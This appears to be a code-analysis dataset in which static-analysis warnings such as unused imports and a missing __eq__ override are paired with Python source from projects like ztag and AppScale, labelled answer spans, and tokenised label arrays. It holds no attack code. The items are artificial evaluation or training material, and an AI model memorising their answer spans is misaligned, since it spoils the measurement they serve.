"\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "response", "Cls", "_", "(_", "self_", "._", "connection_", "._", "getresponse_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "connection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "default", "\\u", "params_", "(_", "self_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", "s", " ", "default", " ", "parameter", "s", " ", "(", "suc", "h", " ", "as", " ", "API", " ", "key", ",", " ", "version", ",", " ", "etc", ".)", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "the", " ", "pass", "ed", " ", "`", "params", "`", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "return", " ", "a", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "default", "\\u", "headers_", "(_", "self_", ",_", "headers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", "s", " ", "default", " ", "header", "s", " ", "(", "suc", "h", " ", "as", " ", "Authoriz", "ation", ",", " ", "X", "-", "Foo", "-", "Bar", ")", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "the", " ", "pass", "ed", " ", "`", "header", "s", "`", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "return", " ", "a", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "body", " ", "data", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "in", " ", "a", " ", "provide", "r", "'", "s", " ", "subclass", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Connect", "ion", "User", "And", "Key_", "(_", "Connect", "ion", "Key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Base", " ", "connecti", "on", " ", "whi", "ch", " ", "accepts", " ", "a", " ", "user", "\\u", "id", " ", "and", " ", "key", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "User", "And", "Key_", "(_", "Connect", "ion", "Key_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "user", "\\u", "id_", ",_", "key_", ",_", "secure_", "=_", "True_", ",_", "host_", "=_", "None_", ",_", "port_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Connect", "ion", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__eq__` not overridden when adding attributes
redodo/tortilla/tortilla/utils.py
[ { "content": "class Bunch(dict):", "metadata": "root.Bunch", "header": "['module', '___EOS___']", "index": 21 }, { "content": " def __init__(self, kwargs=None):\n if kwargs is None:\n kwargs = {}\n for key, value in six.iteritems(kwargs):\n kwargs[key] = bunchify(value)\n dict.__init__(self, kwargs)\n self.__dict__ = self", "metadata": "root.Bunch.__init__", "header": "['class', 'Bunch', '(', 'dict', ')', ':', '___EOS___']", "index": 22 } ]
[ { "span": "class Bunch(dict):", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 18 } ]
[ { "span": "self.__dict__ ", "start_line": 28, "start_column": 8, "end_line": 28, "end_column": 21 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bun", "ch_", "(_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bun", "ch_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "kwargs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "kwargs_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "six_", "._", "iteritems_", "(_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "key_", "]_", "=_", "bunch", "ify_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dict_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "dict\\u\\u_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2 ]
Unused import
zmap/ztag/ztag/annotations/FtpWarFtpd.py
[ { "content": "import re\nfrom ztag.annotation import Annotation\nfrom ztag.annotation import OperatingSystem\nfrom ztag import protocols\nimport ztag.test\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class FtpWarFtpd(Annotation):\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n\n impl_re = re.compile(\"WarFTPd \\d+\\.\\d+\", re.IGNORECASE)\n version_re = re.compile(\"WarFTPd (\\d+(\\.\\d+)*)\", re.IGNORECASE)\n\n tests = {\n \"FtpWarFtpd_1\": {\n \"local_metadata\": {\n \"product\": \"WarFtpd\",\n \"version\": \"1.82.00\",\n }\n },\n \"FtpWarFtpd_2\": {\n \"local_metadata\": {\n \"product\": \"WarFtpd\",\n \"version\": \"1.65\",\n }\n }\n }\n\n\n \"\"\" Tests\n \"220-www1.powerweb.net\\r\\n WarFTPd 1.82.00-RC11 (Sep 22 2006) Ready\\r\\n (C)opyright 1996 - 2006 by Jarle (jgaa) Aase - all rights reserved.\\r\\n220 Please enter your user name.\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220-SPC FTP\\r\\n WarFTPd 1.82.00-RC13 (Sep 12 2009) Ready\\r\\n (C)opyright 1996 - 2009 by Jarle (jgaa) Aase - all rights reserved.\\r\\n220 Please enter your user name.\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220-Jgaa's Fan Club FTP service\\r\\n WarFTPd 1.82.00-RC10 (Jan 25 2005) Ready\\r\\n (C)opyright 1996 - 2005 by Jarle (jgaa) Aase - all rights reserved.\\r\\n220 Please enter your user name.\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"220 ---freeFTPd 1.0---warFTPd 1.65---\\r\\n\"\n \"\"\"", "metadata": "root.FtpWarFtpd", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def process(self, obj, meta):\n banner = obj[\"banner\"]\n\n if self.impl_re.search(banner):\n meta.local_metadata.product = \"WarFtpd\"\n\n version = self.version_re.search(banner).group(1)\n meta.local_metadata.version = version\n\n return meta", "metadata": "root.FtpWarFtpd.process", "header": "['class', 'FtpWarFtpd', '(', 'Annotation', ')', ':', '___EOS___']", "index": 30 } ]
[ { "span": "from ztag.annotation import OperatingSystem", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 43 }, { "span": "import ztag.test", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Annotation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Opera", "ting", "System_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "import_", "protocols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zt", "ag_", "._", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ft", "p", "War", "Ft", "pd_", "(_", "Annotation_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "protocol_", "=_", "protocols_", "._", "FTP", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subpro", "toco", "l_", "=_", "protocols_", "._", "FTP", "_", "._", "BAN", "NER", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "impl", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "\"", "War", "FTP", "d", " ", "\\\\", "d", "+\\\\.", "\\\\", "d", "+\"_", ",_", "re_", "._", "IGNORECASE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "\"", "War", "FTP", "d", " ", "(\\\\", "d", "+(", "\\\\.\\\\", "d", "+)", "*)\"", "_", ",_", "re_", "._", "IGNORECASE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ft", "p", "War", "Ft", "pd", "\\u", "1", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "local", "\\u", "metadata", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "product", "\"_", ":_", "\"", "War", "Ft", "pd", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "1.8", "2.0", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ft", "p", "War", "Ft", "pd", "\\u", "2", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "local", "\\u", "metadata", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "product", "\"_", ":_", "\"", "War", "Ft", "pd", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "1.6", "5", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", " ", "Test", "s", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", "-", "www", "1", ".", "power", "web", ".", "net", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "War", "FTP", "d", " ", "1.8", "2.0", "0", "-", "RC", "11", " ", "(", "Se", "p", " ", "2", "2", " ", "2006", ")", " ", "Read", "y", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "(", "C", ")", "opy", "right", " ", "1996", " ", "-", " ", "2006", " ", "by", " ", "Jar", "le", " ", "(", "jg", "aa", ")", " ", "Aa", "se", " ", "-", " ", "all", " ", "rights", " ", "reserve", "d", ".\\\\", "r", "\\\\", "n2", "20", " ", "Ple", "ase", " ", "enter", " ", "your", " ", "user", " ", "name", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", "-", "SP", "C", " ", "FTP", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "War", "FTP", "d", " ", "1.8", "2.0", "0", "-", "RC", "13", " ", "(", "Se", "p", " ", "1", "2", " ", "200", "9", ")", " ", "Read", "y", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "(", "C", ")", "opy", "right", " ", "1996", " ", "-", " ", "200", "9", " ", "by", " ", "Jar", "le", " ", "(", "jg", "aa", ")", " ", "Aa", "se", " ", "-", " ", "all", " ", "rights", " ", "reserve", "d", ".\\\\", "r", "\\\\", "n2", "20", " ", "Ple", "ase", " ", "enter", " ", "your", " ", "user", " ", "name", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", "-", "J", "ga", "a", "'", "s", " ", "Fan", " ", "Club", " ", "FTP", " ", "service", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "War", "FTP", "d", " ", "1.8", "2.0", "0", "-", "RC", "10", " ", "(", "Jan", " ", "25", " ", "2005", ")", " ", "Read", "y", "\\\\", "r", "\\\\", "n", " ", " ", " ", " ", "(", "C", ")", "opy", "right", " ", "1996", " ", "-", " ", "2005", " ", "by", " ", "Jar", "le", " ", "(", "jg", "aa", ")", " ", "Aa", "se", " ", "-", " ", "all", " ", "rights", " ", "reserve", "d", ".\\\\", "r", "\\\\", "n2", "20", " ", "Ple", "ase", " ", "enter", " ", "your", " ", "user", " ", "name", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "---", "free", "FTP", "d", " ", "1.0", "---", "war", "FTP", "d", " ", "1.6", "5", "---", "\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "[SEP]_", "class_", "Ft", "p", "War", "Ft", "pd_", "(_", "Annotation_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "process_", "(_", "self_", ",_", "obj_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "banner_", "=_", "obj_", "[_", "\"", "banner", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "impl", "\\u", "re_", "._", "search_", "(_", "banner_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meta_", "._", "local", "\\u", "metadata_", "._", "product_", "=_", "\"", "War", "Ft", "pd", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "self_", "._", "version", "\\u", "re_", "._", "search_", "(_", "banner_", ")_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "._", "local", "\\u", "metadata_", "._", "version_", "=_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "meta_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2 ]
Unused import
AppScale/appscale/AppDB/test/functional/test_zktransaction.py
[ { "content": "import sys\nimport time\nimport unittest\nimport base64\nimport re\nimport threading\nfrom test import test_support\nfrom dbconstants import *\nimport zkappscale.zktransaction\n\n\nif __name__ == \"__main__\":\n global zkconnection\n zkconnection = zkappscale.zktransaction.ZKTransaction()\n if len(sys.argv) > 1 and sys.argv[1] == \"dump\":\n zkconnection.dump_tree(\"/appscale\")\n else:\n zkconnection.deleteRecursive(\"/appscale/apps\")\n test_support.run_unittest(TestZKTransaction)\n zkconnection.close()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestZKTransaction(unittest.TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestZKTransaction", "header": "['module', '___EOS___']", "index": 10 }, { "content": " def test_getTransactionId(self):\n app = \"testapp\"\n id = self.zk.get_transaction_id(app)\n self.assertTrue(id > 0)", "metadata": "root.TestZKTransaction.test_getTransactionId", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 12 }, { "content": " def test_locksimple(self):\n app = \"testapp\"\n key = \"root\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_locksimple", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def test_lockpathkey(self):\n app = \"testapp\"\n key = \"/root/child\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_lockpathkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 27 }, { "content": " def test_lockspecialcharapp(self):\n app = \"!@#$%^&*()-=_+[]{}\\\\|~`;:\\\"',.<>/?\"\n key = \"!@#$%^&*()-=_+[]{}\\\\|~`;:\\\"',.<>/?\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_lockspecialcharapp", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 37 }, { "content": " def test_locklongkey(self):\n app = \"testapp\"\n key = \"/root/child/looooooooooooooooooooooooooooooooooooooong\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_locklongkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 47 }, { "content": " def test_locktwice(self):\n app = \"testapp\"\n key = \"root\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_locktwice", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_lockdifferentkey(self):\n app = \"testapp\"\n key = \"root\"\n key2 = \"root2\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n try:\n ret = self.zk.acquire_lock(app, txid, key2)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_DIFFERENT_ROOTKEY, e.getType())\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_lockdifferentkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', 